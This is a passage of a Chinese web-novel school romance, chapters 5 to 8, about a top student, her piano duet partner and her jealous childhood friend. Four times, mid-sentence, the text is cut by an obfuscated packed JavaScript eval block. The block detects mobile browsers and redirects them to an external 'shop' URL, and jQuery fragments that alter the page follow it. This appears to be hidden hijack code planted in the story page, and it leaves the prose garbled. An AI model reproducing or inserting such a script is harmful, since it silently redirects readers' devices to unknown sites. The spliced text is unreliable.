不等姜祁月回答,班主任笑着补充了一句:“别紧张,叫你过来就是提一下这件事,老师肯定站在你这边,只要你不愿意,他们班班主任说什么我都不会答应。” “谢谢老师。”姜祁月纷乱的思绪还没理齐,心底就涌起一股暖流:“我可以去帮忙。” 班主任:“想好了?” 姜祁月垂眸应了一声,掩下眼底的不自在:“反正都要练钢琴,在哪儿练都一样。” “行,我去跟他们班班主任说说,你们每天中午去音乐教室练钢琴。”说完,班主任特意压低声音:“要是觉得不适应记得跟我说,不要有太多压力。” 好在办公室现在没有其他老师在,要是让其他老师听见这话,再传到委托他帮忙的那个班主任耳朵里,绝对能把人给气死。 离开办公室时,排队下楼做操的学生已经回来了。 一进班,姜祁月就对上霍鸷阳关切的目光:“老班怎么突然把你叫过去了?没出什么事吧?” 一旁围观的何杰噗嗤一下笑出声:“老大,你是不是傻了?老班是叫姜祁月过去,又不是叫惹事的人过去,能有什么事?” 霍鸷阳气极反笑:“不会讲话就闭嘴。” 他当然不会承认自己关心则乱,下意识带入自己被老班叫去办公室。 用“全身上下就嘴巴最硬”来形容霍鸷阳,没有半分违和。 何杰缩了缩脖子,回到自己座位不敢再说话。 惹不起,惹不起。他可不想被派去帮忙刷厕所。 何杰离开后,霍鸷阳也知道自己反应有点大,补救般对姜祁月说:“我知道不会出事,就是好奇,想知道老班叫你过去干什么。” 姜祁月没有拆穿,顺着他的话往下说:“是校庆的事,有个钢琴表演组的同学腱鞘炎复发,刚好我又会弹钢琴,他们班班主任委托老班问我能不能帮忙救场。” 霍鸷阳皱眉:“你答应了?” “嗯,答应了。”姜祁月坐回自己的座位,拿出下节课复习要用的教材,目光转向霍鸷阳:“别干站着,快上课了。” 闻言,霍鸷阳把想说的话咽下去,学着姜祁月的样子拿出教材。 “老班说借用午休时间去音乐教室排练,不会耽误看你比赛。”姜祁月察觉到霍鸷阳的异常,难得多解释了一句安慰对方。 霍鸷阳别过头,嘴硬道:“去不了也没事,我又不是那种不讲道理的人。” 话虽如此,看向窗外的眼中却满是欢喜,只要眼睛没问题都能看出他很高兴。 第二天中午,姜祁月收拾好东西,按照班主任说的那样往音乐教室走。 这个时间,温绥晏应该在音乐教室了。 想到这里,姜祁月思绪比乱麻还要杂乱,怎么理都理不顺。 这种状况一直持续到推开音乐教室门,才稍微缓解一点。 “你好,我是姜祁月,你的新搭档。”姜祁月目光落在温绥晏身上,不急不缓的说出这句话。 “你好,温绥晏。”温绥晏起身,唇角笑意温和。 姜祁月性格温吞内敛,不会说活跃气氛的话。 自我介绍完,气氛就冷了下来。 坐立不安之际,她忍不住想道,要是苏浅灿愿意跟着一起来就好了,这样就不会尴尬或者冷场。 所幸温绥晏及时出声打破沉默。 “姜祁月,我知道你。”温绥晏轻笑一声,“全校第一,很厉害。” “你也是。”姜祁月道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341513|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声谢,紧张感消散大半。 聊得话题虽然尴尬了点,但比谁都不说话要好许多。 “对了,校庆要表演的曲目在这里放着,你先过去看看,没问题的话就能开始练习了。”温绥晏指了指另一架钢琴,温声笑道:“祝我们合作愉快。” 姜祁月顺着他手指的方向看去。 钢琴盖布上放着一张打印好的曲谱。 走近一看,是首比较经典的老曲子,稍微有点难度。 问题不大,多练练就好。 有了目标,姜祁月很快进入状态,坐在钢琴前认真练习,遇到分工不明确的地方,还会问问身边的另一个人。 在正事上姜祁月态度很认真,无论做什么都落落大方,丝毫不见不久前的拘束和不善言辞。 烈日炎炎。 阳光穿透枝头树叶,洒下点点光斑,璀璨耀眼。 摆在阴凉处的盆栽舒展开叶片,随风轻晃。 两架钢琴并排摆放,挨得很近。 坐在钢琴前的两人相貌出挑,无论从什么角度看都非常养眼。 “咔嚓”一声。 这一幕被倒水路过的同学偷拍下来。 他激动地登上贴吧开始发帖,心底的八卦之魂熊熊燃起。 专心练琴的姜祁月并不知道,学校贴吧因为一张照片讨论了上千楼。 …… “啪哒——” 手机被随手丢在桌子上,发出一声脆响。 何杰心疼得心都在滴血,迅速扑上去抱住手机,趴在桌子上扭头看向霍鸷阳:“不是我说啊老大,你生气就生气,干嘛拿我手机撒气,这可是最新款手机,我求了我妈好久才答应松口给我买的,摔碎了怎么办?早知道你这么生气就不给你看了。” 幽怨的声音越来越小,到最后几乎消失不见。 不怪何杰胆小,实在是霍鸷阳的脸色太阴沉了,不知道的还以为谁欠了他五百万。 “碎了就赔你个新的,怕我赖账?”霍鸷阳面色愈发阴翳。 “怎么可能!”何杰音调上扬,谁不知道霍鸷阳最信守承诺。他怀疑谁赖账都不可能怀疑霍鸷阳赖账。 霍鸷阳神色稍缓:“那不就行了。” 见他态度和缓许多,何杰才敢继续开口说话:“老大,我能理解你这个当哥哥的心情,但是帖子里的照片就是找角度特意拍的,下面那些磕cp评论也是无聊凑热闹,咱没必要当真。退一万步说,就算这事是真的,也没必要生这么大气吧?气坏自己又何必呢。” 一番开解的话说下来,霍鸷阳好不容易和缓下来的面色再次沉下去。 “老大,要是没什么事情,我就先走了,你别把自己气坏了。”何杰缩了缩脖子,停下自己的高谈阔论,对霍鸷阳的妹控属性有了更深刻的了解。 “等一下。” 何杰立刻停下。 霍鸷阳轻描淡写地提醒了一句:“记得把那个帖子里的照片转发给我。” 何杰头都不敢回,连忙比了个OK的手势,忙不迭地逃走了。 回到座位他还在后悔自己真是闲得没事干,居然敢贴脸开大,开玩笑地把帖子拿给霍鸷阳看。 谁不知道霍鸷阳的逆鳞是从小到大一起长大的妹妹。 5.独发,禁止转载 看完何杰转发的帖子和照片后,霍鸷阳一直处在低气压状态,几乎没说过几句话。 间接造成一切的何杰到了下课就往外躲,生怕再卷进这场风波里。 姜祁月察觉到了霍鸷阳的反常之处,但怎么问都问不出来,想找何杰也找不到人,只能眼睁睁看着他生了一下午的闷气。 直到放学吃晚饭,她才清楚霍鸷阳究竟在气什么。 亭子里。 姜祁月刚把打好的饭菜放在石桌上,就见霍鸷阳把手机摆到她面前。 “看看这个。” 声音平静,仿佛只是随口一说。 只是手背凸起的青筋,暴露了霍鸷阳的真实想法。他明明很在意,却偏要装出一副一点都不在乎的样子。 姜祁月顾不上吃饭,抬手将发丝拨到耳后,按照霍鸷阳说的那样看向手机屏幕。 是一张照片。 拍照片的人找的角度很讨巧,刚好拍下两个人的侧脸。 即使只有侧脸,也能看出照片里的两人相貌不凡,正面一定更好看。 照片的光线和整体构图更是没得挑,拍出来的成品很有氛围感,非常唯美动人,透着股青涩的恋爱感。 专业的摄影师都不一定能拍出这种感觉。 如果照片里的其中一个主人公不是自己,姜祁月都会忍不住想歪。 不过…… 姜祁月眉心微蹙,转头看向霍鸷阳:“给我看这个干什么?”别人误会也就算了,她不信霍鸷阳看见也会误会,还无聊到把照片给她看。 “这么多人在磕你们的cp,你就没有什么要表示的吗?”霍鸷阳点开贴吧,平静的语气怎么听怎么别扭。 “表示什么?”姜祁月的反应有些迟钝,不明白霍鸷阳究竟在打什么哑谜。 这副又呆又天真的模样,让霍鸷阳不忍心继续为难她,不过说话时语气依旧阴阳怪气:“当然是表示一下对这件事有什么感想。” 不等姜祁月回答,他又开玩笑般接了一句:“这照片拍的确实好看,不怪贴吧的人都在磕cp,连我都有点磕你们两了。” 一整套话说下来,姜祁月什么都明白了。 她沉默许久,一言难尽的瞥了霍鸷阳一眼:“你就因为这个帖子,生了一下午的气?” 这副满不在乎的态度瞬间引爆霍鸷阳。 “什么叫‘就’?!”他顾不上自己还在假装不在意,下意识抬高音量,额角青筋直跳,气得脑袋都在嗡嗡作响:“这还不该生气吗?你知不知道有人还在写你们的同人文?写的那东西我都不想说。” 越说到后面他就越生气,又碍于面子不想把事情说得太直白。 霍鸷阳想了整整一下午,都想不明白明明学习压力这么大,怎么还有人闲得没事干,做出这么多不符合学生身份的事。 要是把凑热闹的心思用在学习上,考上清北都不在话下。 情绪剧烈起伏下,这些话不经霍鸷阳脑子,就直接冲动地说了出来。 和姜祁月比起来,此时的霍鸷阳完美诠释什么叫“皇上不急太监急”。 听着那些埋怨的话,姜祁月倒是很有耐心,还好脾气的安慰起霍鸷阳:“你也说了大家学习压力大,就是想凑个热闹放松放松,我都没有较真,你在这里生什么气?” 说完,姜祁月忍不住轻笑出声,还是补了一句:“不过老班要是知道你有这么高的觉悟,肯定激动的想绕操场跑几圈。” 暂且不提其他的,就说那些被老师盘包浆了的言论,放在平时大家顶多做做表面功夫假装在听,实际上没几个人往心里去。 现在看来,少数听进去的人中包括霍鸷阳。 只不过派上用场的地方有些奇怪。 霍鸷阳当然能听出姜祁月话里的调侃,渐渐冷静下来,没好气的开口道:“就你心眼大,都这样了还一点都不在乎,也能笑得出来。” “不然还能怎么做?总不能挨个捂嘴,不让人说话吧?”姜祁月无奈叹气。 霍鸷阳不赞同:“那也不能放任不管吧。” “清者自清,过段时间就没人在意这件事了,贸然出手反而会被当成心虚。”姜祁月指了指桌上的饭盒,四两拨千斤道:“现在最重要的是吃饭,再不吃就来不及去上晚自习。” 后半句话很管用。 就算霍鸷阳总觉得有什么地方不对劲,也没再继续纠结这件事,臭着脸去吃晚饭,算是默认姜祁月说的解决方式。 傍晚太阳落山,晚风吹过,带来一阵凉意。 姜祁月垂眸,等心跳速度恢复正常才拿起筷子吃饭。 她刚刚骗了霍鸷阳。根本就不是清者自清,而是抱着自己也说不上来的复杂情绪去放任不管。 细究起来,复杂情绪中占比最大的,竟然是隐秘的窃喜。 当天晚自习结束回家,姜祁月难得没有背单词,拿起手机点开学校贴吧。 不用费心思去找,点进贴吧第一页就能看见图文。 除此之外,还有很多其他的八卦帖。 她没有分心关注别的,点进霍鸷阳给她看的那个帖子。 之前时间紧,来不及一条条慢慢看,现在有时间再看,才发现霍鸷阳没有开玩笑。 帖子的热度确实很大,除了他们学校的学生外,还有其他学校的学生来凑热闹。 由于照片极具迷惑性,帖子下面不仅有吃瓜群众,还附赠了一批什么都能磕起来的人。 行动能力强的甚至写起了同人文。 不看主人公姓名,单看故事剧情,确实很有才。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363409|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此之前,姜祁月从未关注过这些东西,唯一的了解还是苏浅灿一直说高中生活无聊,全靠学校论坛和表白墙提供乐趣。 没想到第一次关注,还是看跟自己有关的瓜帖。 刚冒出这个念头,微信就跳出来一条消息。 是苏浅灿发来的。 这个时间给她发消息,不用看都能猜出来是为什么。 姜祁月点开弹窗查看消息。 和她想的一样,新弹出来的几条消息,全在问她和校草究竟是怎么回事。 除此之外,就是一连串抒发心情的尖叫表情包。 热度这么大的事,苏浅灿能忍到晚自习结束才问她已经很难得了。 姜祁月发了条消息简单解释了一下,再三表明什么事情也没有。 八卦之心熊熊燃烧的苏浅灿瞬间蔫了:【算了,单纯救场搭档也不错。说起来校草人怎么样?】 姜祁月手指微蜷,过了好一会儿才记得回信息:【钢琴弹得不错。】 苏浅灿:【除了这个呢?没啦???!】 姜祁月:【嗯,等校庆结束就不会再有接触。明天有课,还不去睡觉?】 后面这句提醒对苏浅灿来说别提多管用,匆匆发了条晚安就去洗漱睡觉。 姜祁月收起手机。 虽然有些不道德,但她从未如此庆幸过好朋友不容易睡饱觉。 与此同时。 另一边。 霍鸷阳躺在床上翻来覆去,心底窝了一团无名火,怎么也睡不着,干脆坐起来解锁手机,面色阴沉的盯着那张照片看。 无论看多久,他都感觉不到任何贴吧评论说的氛围感,反倒挑出一大堆毛病,越看越觉得照片里的那个男的很假很会装。 本就不爽的心情在看了照片后变得糟糕透顶。 霍鸷阳咬牙切齿的想着,贴吧里那些发言分析的人语文一定很好吧,不然怎么这么会做阅读理解? 盯着照片看了几分钟,霍鸷阳面无表情的截图、打开相册、点击消失笔、很有耐心的将照片里那个男的P的干干净净,一点痕迹都没留下。 一整套动作做下来行云流水,非常流畅,仿佛排练过无数次。 再一看P过后的照片,霍鸷阳紧锁的眉心舒缓开,心情重新变好。 P掉讨厌的人,再看这张照片,就有了新的感觉。 抛开贴吧磕cp的事不谈,还是有很多地方说的不错的。 比如照片里的姜祁月不仅长得好看,还很有气质,让整张照片都变得高级许多。 这一点在P掉温绥晏后,体现的更加明显。 霍鸷阳越看越满意。 很好,简直完美。 明天就让摄影店老板帮忙洗出来,装裱起来当收藏。 6.独发,禁止转载 次日,早读课刚结束,往日忙着补觉和偷偷内卷的同学全部凑到姜祁月课桌前,询问起学校贴吧的那个帖子到底怎么回事。 他们的眼睛里带着如出一辙的八卦神色。 进入高三后,几乎每天都重复着同样的事,大家都很无聊,现在突然多出这件事,无异于在平静无波的河里砸块石头,都想近水楼台先吃瓜。 好奇凑上来的人越来越多。 姜祁月被围在中间,出都出不去。 不用她出面解释,一旁的同桌就率先忍不住了。 霍鸷阳突然起身,满脸不耐烦的冷嗤:“一张照片而已,能有什么事情?这种类型的照片我跟她拍过许无数张,问她不如问我。” 霍鸷阳措不及防起身的动作吓得周围人下意识后退一步。 也不知道霍鸷阳是吃什么长大的,不仅长得不好惹,身体也又高又大的,站起来时很有威慑力。 只有姜祁月注意到霍鸷阳起身时双手扶着课桌。 看来虽然生气,但理智还在。 想到这里,她没再急着插手,静静坐在一旁等霍鸷阳自己解决。 虽然不理解霍鸷阳为什么这么在意,但他毕竟气了这么久,就算被她劝住了,郁气估计也没散完。 姜祁月觉得,总得让霍鸷阳做点什么,才能不憋出事来,干脆随他去处理。 “话也不能这么说,这能一样吗?” 人群中不知道是谁小声反驳了一句。 冷凝氛围融化,气氛再次活跃起来。 跟霍鸷阳关系还不错的小弟之一连连点头:“就是就是,这哪儿能一样。” “怎么不一样了?”霍鸷阳轻飘飘扫了他一眼,眼底带着几分不爽。 开口的小弟干咳一声,八卦之心思占据上风,不要命的加了句:“老大,你又不是不知道,咱们就是想八卦一下,你这身份有什么好八卦的……” 话没说得太直白,欲言又止的表情完美表达出潜藏的意思。 要是别人,肯定会点到为止,偏偏他面对的是霍鸷阳。 霍鸷阳跟听不懂他在说什么似的,非要打破砂锅问到底:“说话不要遮遮掩掩的,我这身份?我什么身份?难不成我的身份有什么见不得人的地方,就这么让你说不出口?” 一连串问题让被问到的人压力巨大,浑身冒出一阵冷汗。 好在其他人及时救场。 “当然不是见不得人,更不是说不出口。谁不知道你跟班长从小一起长大,是护短的妹控哥哥,众所周知的事情还有什么问的必要吗?” 前半句话说到霍鸷阳心坎里,后半句话让霍鸷阳面色突变。 没人察觉到他的变化,还在为听八卦而努力。 “没错,我们就是想知道贴吧照片的事。放心,谁都不会告诉其他班的人。” “我保证!” “我也保证!” “……” 一句又一句保证听的霍鸷阳面色难看,阴恻恻扫了人群一眼。 原本乱哄哄的人群像是被按下暂停键般,瞬间变得安静无比。 眼看气氛再次变得凝重,全班第三个知道内情的苏浅灿有些坐不住:“哎呀,霍鸷阳没骗你们,真没什么瓜,月月是过去救场的,贴吧那张照片也是找角度特意拍出来的。” 说这句话时,苏浅灿还不忘幽幽看了姜祁月一眼。 透过照片不难看出校草对姜祁月有好感。 亏她看见照片时激动了那么久,还耗时间写了同人文,没想到月月还是跟以前一样不解风情,根本没有开窍的意思。 有了苏浅灿的解释,围在四周的同学很快就无聊散开。 整个班没有第二个比苏浅灿消息更灵通的人,他们都很相信苏浅灿。 人群散开后,苏浅灿重新趴回桌子上补觉,没力气再说姜祁月什么了。 姜祁月轻轻扯了扯霍鸷阳校服衣角:“人都走完了,你还站着干什么?” 轻缓声音抚平霍鸷阳心底的不爽,面色也肉眼可见地变好。 他重新坐回椅子上,低头时刚好对上姜祁月那双澄澈干净的眼眸。沉默几秒后别过头,生硬地转移话题:“周六下午没课,体育班那边组了场训练赛,你去不去看?” “周六下午?”姜祁月有些犹豫。 没课是没课,但她答应过温绥晏一起练钢琴。 要是实话实说,霍鸷阳说不定又得生闷气。 在某些事情上,霍鸷阳比她亲爹亲妈还要在意,不知道的还以为他是担心闺女找到喜欢的人,就会变成空巢老人的老父亲,固执到怎么解释都听不进去,幻想出一大堆假想敌。 这也是姜祁月果断拒绝追求者的原因之一。要是拒绝得稍微慢了点,霍鸷阳都会阴阳怪气上半天。 “有事要忙?”这么多年相处下来,霍鸷阳非常了解姜祁月,看她反应就知道她有其他安排。 姜祁月迟疑片刻,还是点了头:“嗯……” 本以为霍鸷阳会像刚刚问兄弟那样打破砂锅问到底,姜祁月连解释的话都想的差不多了,谁承想霍鸷阳突然不按常理出牌,居然淡然自若的点头表示知道了。 点完头,霍鸷阳十分自然的问姜祁月:“有什么事要忙,你不是不会骑车吗?说不定刚好顺路,我接送你。” 这句话让姜祁月有些心动。 她家距离学校虽然不算远,但步行怎么也需要十八分钟,还不包括等红绿灯的额外时间。 这么点路打车又不划算,只能步行。 其他季节还好,一到烈日炎炎的夏天,简直能热死人。 原本姜祁月都打算好忍一忍走过来了,没想到霍鸷阳会说这样的话。 “顺路是顺路,就是……”姜祁月不放心的打量了霍鸷阳一眼,确定他没有异常才接着往下说:“温绥晏说最好抽出半天的假期来学校排练,这样效果会更好,可能看不了你们打球了。” 闻言,霍鸷阳有种果然如此的感觉,心里酸溜溜的。 平时周末姜祁月都是待在家里看书,只有被他拉着才会出门,现在突然有其他安排不能看他打球,肯定跟前几天答应的那件事有关。 一想到时间安排得这么巧,霍鸷阳就膈应得不行。 直觉告诉他事情没这么简单。 最近除了校庆就是篮球联赛的热度最大,按照校内消息传播速度,不可能有人没听说周六下午有场训练赛,更不可能没听说过他会上场。 每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377305|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次只要他上场,姜祁月一定会被拉过去看,还有不少人为此笑话他跟离了妹妹就没办法独立行走似的。 这种情况下,温绥晏还把排练时间安排在和训练赛重叠的时间段,真的很难不让人多想。 短短几秒时间,霍鸷阳脑子里想了许多,面上倒还是之前那副若无其事的样子:“没事,又不是正式比赛。” 顿了顿,他开玩笑般说道:“正式比赛在校庆之后,到时候可别再有其他安排了。” 姜祁月抿了抿唇瓣,认真的看着霍鸷阳:“放心,不会的。” “那就好。”霍鸷阳随口应了一声,随后又嫌弃的啧了声:“还有那个温绥晏,我总感觉他不是什么好人,知人知面不知心,你排练的时候多长点心,别给人骗了还帮忙数钱。” “他没你说得那么有心机。”姜祁月下意识反驳。 话刚说出口,她就知道完了。 果不其然。 霍鸷阳眼皮掀了掀,唇角勾起一抹嘲讽的弧度,阴阳怪气的说:“你看,这不就护上了。” 姜祁月气得回了他一句:“懒得跟你说。”说完就拿出真题卷刷题,真像说的那样不搭理霍鸷阳了。 她真觉得霍鸷阳脾气越来越阴晴不定,不仅暴躁还喜欢拿放大镜看事情。明明没跟温绥晏相处过,怎么就知道对方是好是坏?就这还好意思以哥哥自居! 整整一上午,姜祁月都没往霍鸷阳那边看一眼,就连中午去食堂吃饭,她也破天荒没有等霍鸷阳一起去,打好饭就端着盘子单独找位置坐下。 她不想搭理霍鸷阳,霍鸷阳倒是眼巴巴往上凑。 坐下不到五分钟,另一个打满饭菜的碗被放在同一张桌子上。 可怜巴巴地询问声从头顶响起。 “小乖,你还真这么狠心不理我呀?” 姜祁月抬头一看。 果然是霍鸷阳。 说话的声音有多可怜巴巴,脸上就有多嬉皮笑脸。 显然,霍鸷阳根本没有意识到自己的错误。 只看了一眼,姜祁月就低头吃饭,根本没有回答霍鸷阳的意思。 “真生气了?”霍鸷阳连忙坐下来,特意从口袋里掏出准备好的礼物道歉:“我真不是故意想惹你不高兴的,算我多嘴好不好?” 笨拙送礼物的样子终于引来姜祁月侧目。 巴掌大小的迷你钢琴模型摆件,很经典的黑白配色,捧在掌心时更显精致漂亮。 仅此一眼,姜祁月就喜欢上了,语气也不自觉放软:“你知道就好,下次不要这样了。说不定以后见到他,你的想法就变了。” “嗯,我记着呢。”霍鸷阳一本正经的胡说八道,实际上根本没放在心里。他觉得自己见到那个男的也是这个想法,就算想法改变了,也只能是更讨厌那个男的。 当然,这些话他只敢在心里想想。 被晾了这么久,霍鸷阳也算想明白了。 就算那个男的真不是好人又怎么样?不还有他在吗。 只要有他在,就不会让姜祁月吃亏。 至于姜祁月喜欢谁…… 霍鸷阳唇角上扬的弧度慢慢消失,心底酸意更重。 只要姜祁月高兴,想喜欢谁都行。 7.独发,禁止转载 霍鸷阳目光自始至终都落在姜祁月身上,一眼看出她很喜欢这个小礼物。 姜祁月纤长睫毛轻轻颤动,试探着伸手接过小钢琴摆件,小心翼翼的朝着钢琴键戳了一下。 下一秒,温柔的琴声从小摆件里传出。 她的眼睛变得更亮了,仿佛藏匿着许多星星,璀璨夺目。仰头看向霍鸷阳:“碰一下还能发出声音哎!” 原本就喜欢的东西变成迷你版,杀伤力不知道翻了多少倍,更别提迷你版的小物件还“暗藏玄机”。 “那是!这东西可难买了。”霍鸷阳没有无私奉献的觉悟,做了什么大大方方摆出来,想让姜祁月多记着点自己的好,别给其他人稀里糊涂骗了。 不过难买的过程他绝口不提。 按照姜祁月不喜欢给人添麻烦的性格,无论多喜欢这个小礼物,知道难买的具体过程都不会收。 本来就是买回来送给她的,没必要说太多让人有心理负担,快快乐乐的不是更好吗? 怕姜祁月追问,霍鸷阳贱兮兮的问了句:“现在不生气了吧?” “嗯。”姜祁月顾不上生气,注意都落在手心的小摆件上:“这是什么时候买的?我都没注意到你出去了。” 类似的东西姜祁月在商店见过,但是戳下去就能发出声音的,还是头一次见。 “开学前就买了,刚好今天中午到货,没想到用在道歉上了。”霍鸷阳脸上重新浮现出笑意,半开玩笑半认真地说:“早知道这样就多买几个回来,下次惹你生气继续送。” 话说得简单,实际上一个迷你小钢琴就花了他不少心思。 这么小,还要有录制好的声音,在现在可不容易造出来。 好不容易在网上找到个能做的店家,开价还很高,攒了很久才攒出来。不然开学前请姜祁月喝奶茶时,他也不至于寒碜到只能站在边上喝便宜汽水。 中午下课也是。要不是为了拿这个东西,他下课死皮赖脸也得赖在姜祁月身边,怎么可能落单来食堂? “真有下次送礼物也不管用。”姜祁月将迷你钢琴小摆件放到一边,不赞同地看向霍鸷阳。 霍鸷阳连连点头:“知道,我就是开个玩笑。” 好不容易才把人哄好,他是疯了才想继续惹人生气。 “知道就好。”姜祁月没再抓着这件事不放,重新吃起午饭。 吃过午饭还得去音乐教室排练。 她的目光落在手中捧着的小摆件上,有些发愁。 霍鸷阳:“我帮你带去教室,你放心去排练就行。”最好早点排练完,这样就不耽误更多时间。 这副善解人意的态度引来姜祁月侧目。 她有些怀疑霍鸷阳说的是不是真的,一时半会儿又找不到更好的解决办法,只能选择把小摆件给霍鸷阳拿走。 赶到音乐教室,温绥晏正在弹钢琴。 听到动静,他停下弹琴的动作,转身看向门外,笑着打趣姜祁月:“来了怎么不进来?说起来我们第一次见面好像也是这样,一眨眼你人就不见了。” 姜祁月有些不自在,莹白面颊微微泛红,强装镇定的解释:“看你弹的认真,怕打扰到你。” “不会打扰到我,你是不是忘了我们是队友?这不是一个人的表演。”温绥晏无奈摇头,轻叹道:“本来空闲时间就少,你来了刚好一起磨合。” 独奏曲目只要一个人弹得好就没问题,组队表演就不一样了,单独练习根本没用,从速度到分工,都需要和队友一点点磨合好。 “嗯。”姜祁月应了一声,犹豫几秒后还是走进音乐教室。 其实她说给温绥晏听的解释是假的,根本不是怕打扰到对方练习,就是看见温绥晏时,忍不住想起霍鸷阳说的那些话,心虚到不好意思进去。 当时她听见霍鸷阳的话,竟然产生了一瞬间的动摇,实在是太不应该了。 还好温绥晏不知道。 想到这里,心虚感一点点散去。 姜祁月坐在钢琴旁,专心跟上温绥晏节奏,一心想着能早点磨合好。 虽然老班说过让她不要有心理压力,就是单纯来凑个人头救场,但她答应了就会尽己所能做到最好。 让姜祁月没想到的是,距离上课还有二十分钟的时候,温绥晏突然停下弹钢琴的动作,目光转向她:“歇一下吧。” “不继续吗?”姜祁月眉心微蹙,有些发愁:“再过两周就是校庆。” 昨天晚上看学校贴吧的帖子,很多人都在期待校庆那天他们的表演,她都不敢想要是发挥失常了怎么办。还是多练练更有安全感。 “你已经弹得很好了,今天也练了很久,再弹下去不仅没用,还耽误时间。”温绥晏的声音听起来比之前还无奈,“做什么都是这样,过犹不及。有这个时间不如坐下来聊聊天,放松放松。” 这种话姜祁月还是第一次听见,不免觉得有些稀奇。 这几天相处下来,温绥晏完全可以用温文尔雅这个词来形容,她还以为对方跟自己一样循规蹈矩,没想到不完全是这样。 明明和预想中有偏差,心底沉寂已久的复杂情绪却再次萌芽。 心脏跳动速度不自觉加快。 “聊什么?”姜祁月问。 温绥晏沉思片刻,仿佛只是随口一提:“听说你有个从小一起长大的同桌,脾气还很不好,经常和人打架?” 很简单的问题。 姜祁月听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389633|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了却不知道该怎么回答。 “抱歉,我不知道这个问题会让你为难。”温绥晏眸中满是歉意,重新换了个话题:“听说他们周六有训练赛,时间恰好跟我们撞了,你要去看他比赛的话,我们可以重新安排时间训练。” “不用。”姜祁月婉拒了温绥晏的提议。 温绥晏点了点头,仿佛随口一提般问:“你跟他关系那么好,不去看他比赛他不会介意吗?” “不会,他不是那种人。”这次姜祁月回答得很快。 “这样啊,那就好。”温绥晏眸光微闪,很快恢复如初,笑着说:“看来关系确实很不错,有这么好的朋友,没人敢欺负你。” 后半句话落在姜祁月耳中,总有种说不上来的奇怪感觉,像是在故意试探什么。 不过很快她就忽略掉这种异常,觉得应该是自己想多了。 温绥晏温声保证:“我们也算是朋友吧?以后我也能保护你。” 说这句话时,他的目光一直落在姜祁月身上,看上去非常诚恳。 任谁被那样一双眸子注视着,都很难拒绝。 “谢谢。”姜祁月小声道谢,心底长舒一口气。 果然,是她想太多了。 像温绥晏这种优秀又通透的人,不可能有坏心思。 “对了,还有十分钟上课,我就先走了。”姜祁月垂眸看了眼腕表上的时间,跟温绥晏打了声招呼,起身离开音乐教室。 跨出大门的那一刻,背后传来温绥晏的声音。 “明天见。” …… 周六下午一点,太阳又大又晒。 姜祁月涂好防晒霜,敲响隔壁院门,打算找霍鸷阳汇合。 开门的是张淑琴。 见门外站的是姜祁月,她脸上立刻浮起笑来,热情地将人带进家里,一边走一边笑骂:“你这孩子就是太老实,门又没锁,太阳那么大还傻站在外面等,下次直接推开门进来就行。” “谢谢淑琴阿姨。”姜祁月礼貌道谢。 “小乖是来找霍鸷阳的吧?他在房间里待着,你们自己聊,阿姨去睡个午觉。”张淑琴将人带到堂屋里,指了指不远处霍鸷阳的房间。 姜祁月:“淑琴阿姨快去睡吧,我自己找他就好。” 听见这句话,张淑琴总算放心去睡午觉。 淑琴阿姨离开后,姜祁月敲响霍鸷阳卧室门:“我能进来吗?” 话音刚落,就听见回答。 “进,门没锁。” 姜祁月没有多想,直接推开门进去。 然而接下来看见的一幕,让她恨不得从来没有推开过门,脱口而出质问霍鸷阳:“你怎么不穿好衣服就让人进来?!” 8.独发,严禁转载 卧室采光很好,光线透过窗户洒落进来,刚好映照在霍鸷阳身上。 麦色肌肤莫名有些刺眼。 电风扇吱嘎吱嘎转着。 正对着电风扇的霍鸷阳将穿到一半的上衣往下拉,理直气壮地回道:“我又不是一件没穿,再说了,你也不是别人,小时候咱一起长大,你什么没见过?” 这番发言让姜祁月又气又恼:“你这是强词夺理。” 看到霍鸷阳嬉皮笑脸的表情后,脑海中又浮现出刚刚看见的那一幕,面颊忍不住微微发烫,重新背过身去不理人。 怎么能这样啊…… 太过分了。 